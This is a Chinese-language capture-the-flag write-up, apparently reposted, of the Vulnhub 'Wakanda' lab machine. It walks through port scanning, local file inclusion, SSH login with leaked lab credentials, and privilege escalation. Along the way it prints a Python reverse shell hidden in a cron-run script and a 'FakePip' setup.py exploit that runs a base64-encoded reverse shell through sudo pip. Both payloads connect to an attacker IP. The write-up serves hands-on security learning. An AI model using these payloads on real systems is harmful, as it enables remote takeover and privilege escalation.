Vulnhub入门实战-Wakanda
Posted TzZzEZ-web
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub入门实战-Wakanda相关的知识,希望对你有一定的参考价值。
描述:
1.探测主机的IP地址
2.使用nmap查看靶机开放端口。
开放了4个端口,老样子先从http下手。
3.进去发现没什么可以点的,于是进行目录扫描。
状态码都是200,但是size为0,所以返回的都是空页面。
查看主页源代码,发现一个注释。
猜测存在本地文件包含漏洞,抓包看一下。
成功读取主页源码,并发现密码,猜测下一步根据账号和密码进行ssh登录。
账户猜测就是主页的namemamadou
,passwdNiamey4Ever227!!!
这里的使用凭证是有效的,但是还未得到shell,只是进入python shell,通过python命令获取shell。
import pty
pty.spawn("/bin/sh")
成功获取shell,并拿到第一个flag。
查看/etc/passwd文件。
用户devops具有bash的访问权限,查看该用户的所有文件。
找到了flag2的文件位置,但是权限不够,(偷偷看了别人的wp,发现还有文件没有找到)
find / -user devops 2>/dev/null -ls
该命令将权限属于devops的文件全部找到,并无错误的显示出来。
这里的python文件引起了注意,查看一下内容。
打开tmp目录下的test文件,并写入test。查看一下test文件的权限。
test文件的权限是devops,所以它运行时将拥有devops的用户权限。如果我们能够编写一个python反向连接程序并将其替换为".antivirus.py",那么我们将获取devops的权限。
python反向连接程序:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.186",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
将该文件放在kali的/var/www/html上,开启apache服务,让靶机去下载。
(该脚本会自动执行,只需等待几分钟就会连接)
查看用户sudo权限。只有pip可以用。
网上找一个exp。
exp链接
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '192.168.199.112'
reverse_shell = 'python -c "import os; import pty; import socket; lhost = \\'%s\\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\\'HISTFILE\\', \\'/dev/null\\'); pty.spawn(\\'/bin/bash\\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='andre.marques@esecurity.com.br',
license='MIT',
zip_safe=False,
cmdclass='install': CustomInstall)
同样的wget方法,将文件上传至靶机,之后转移至tmp目录,在devops的用户下使用该命令:
sudo pip install . --upgrade --force-reinstall
成功得到三个flag。
以上是关于Vulnhub入门实战-Wakanda的主要内容,如果未能解决你的问题,请参考以下文章